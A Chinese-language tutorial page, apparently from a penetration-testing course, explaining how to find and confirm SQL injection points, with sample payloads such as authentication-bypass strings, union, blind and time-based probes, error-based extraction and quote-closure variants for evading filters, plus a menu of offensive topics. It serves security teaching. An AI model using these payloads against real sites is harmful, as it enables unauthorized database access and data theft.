## sql注入的准备工作
1. 确定 Web 应用程序所使用的技术
可以考察 Web 页面的页脚,查看错误页面,检查页面源代码,或者使用诸如 Nessus、AWVS、 APPSCAN 等工具来进行刺探。
2. 确定所有可能的输入方式
Web 应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如 HTML 表单;
另外,攻击者可以通过隐藏的 HTML 表单输入、HTTP 头部、cookies、甚至对用户不可见的 后端AJAX 请求来跟 Web 应用进行交互。
**一般来说,所有 HTTP 的 GET 和 POST 都应当作用户输入。**
为了找出一个 Web 应用所有可能的用户输入,我们可以求助于 Web 代理,如 Burp 等。
3. 查找可以用于注入的用户输入
在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。
多多留意 Web 应用的错误页面
通常只要带有输入提交的动态网页,并且动态网页访问数据库,都是潜在的探测点
```sql
# 万能密码:
'or '1'='1
## 源语句:
select * from user where name='xx' and pwd='hhh';
## 目标语句:
select * from user where name='' or '1'='1' and pwd='' or '1'='1'
#注入语句样例
and 1=2 union select 1,2,3 --
select user() regexp '^ro'
ascii(substr((select user()),1,1))=114
if(ascii(substr((select user()),1,1))=114,0,sleep 5)
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=9
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
```
## 手工检测 SQL 注入点
最常用的 SQL 注入点判断方法,是在网站中寻找如下形式的网页链接。
~~~url
http://www.xxxxx.com/xxx.asp?id=xx (ASP 注入)
http://www.xxxxx.com/xxx.php?id=xx (php 注入)
http://www.xxxxx.com/xxx.jsp?id=xx (jsp 注入)
http://www.xxxxx.com/xxx.aspx?id=xx (aspx 注入)
http://www.xxxxx.com/index.asp?id=8&page=99 (有多个参数,需要区分用哪个参数来验证注入)
http://www.xxxxx.com/index/new/id/8 伪静态
http://www.xxxxx.com/index/new/php-8.html 伪静态
~~~
## 判断是否存在sql注入
如何判断某个网页链接是否存在 SQL 注入漏洞呢?通常有两种检测方法。
1. 单引号法
第一种检测 SQL 注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息, 则说明该链接可能存在注入漏洞。
2. `1=1` 和 `1=2` 法
很多时候检测提交包含引号的链接时,会提示非法字符,或直接不返回任何信息,这种情况下可以如下尝试:
~~~sql
#先在链接地址后加上 and 1=1,提交
xxx.com/xx.php?id=xx and 1=1
#再替换为and 1=2,提交
xxx.com/xx.php?id=xx and 1=2
#如果返回不同的页面, 那么说明存在 SQL 注入漏洞。
~~~
3. 两种方法的组合变种
```sql
'and 1=1 / and 1=2
'and '1'='1 / and '1'='2
'and 1 like 1 / and 1 like 2
```
4. 更多方法组合的常用判断语句
在插入的注入语句后面,增加`-+`或`#`,用以注释掉后面的正常语句
`#`有时会被过滤,因此可以使用url编码,将#表文`%23`
单引号也有可能会被过滤,可以换成双引号
可以在引号后加一两个括号,用以实现可能的语句闭合,如
```SQL
or 1=1–+
or 1=1#
or 1=1%23
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
```
## 注入分类
1. 数字型注入:` or 1=1`
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。
>这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,
例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。
而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。
2. 字符型注入:` ’ or 1=1#`
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
3. 搜索型注入: `%xxx% or 1=1 #%’`
当在搜索框搜索的时候,称为搜索型。搜索类型一般要使用百分号来闭合。
~~~SQL
select * from 表名 where 字段名 like ‘%(对应值)%’; # 源
select * from 表名 where 字段名 like ‘%(对应值)or 1=1 #% %’; # 目标
~~~
4. XX型注入: `xx’) or 1=1#`
这种情况很少见,是程序员不规则操作造成的,没有找到例子。
## 注入提交方式
**三种方式注入方法**
1. post
可通过安装火狐浏览器插件(hackbar)或 Burp 工具来完成
2. get
一般直接通过浏览器地址栏提交
3. cookie
一般通 Burp 工具来完成,修改cookie,进行一个注入
**请求头中可以利用的点**
![mark](http://noah-pic.oss-cn-chengdu.aliyuncs.com/pic/20210617/213523166.png)
**ASP和PHP中的调用函数**
```sh
# ASP
request (全部接受)
request.querystring (接受 get)
request.form (接受 post)
request.cookie(接受 cookie)
# PHP:
$_REQUEST(全部接受)
$_GET(接受get)
$_POST (接受 post)
$_COOKIE(接受 cookie)
#一般中间件 waf 防火墙,对get防护最高,其次是post,最后是cookie
#很多人在写注入防御代码时,写了post、get的,但是没有过滤cookie的
```
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具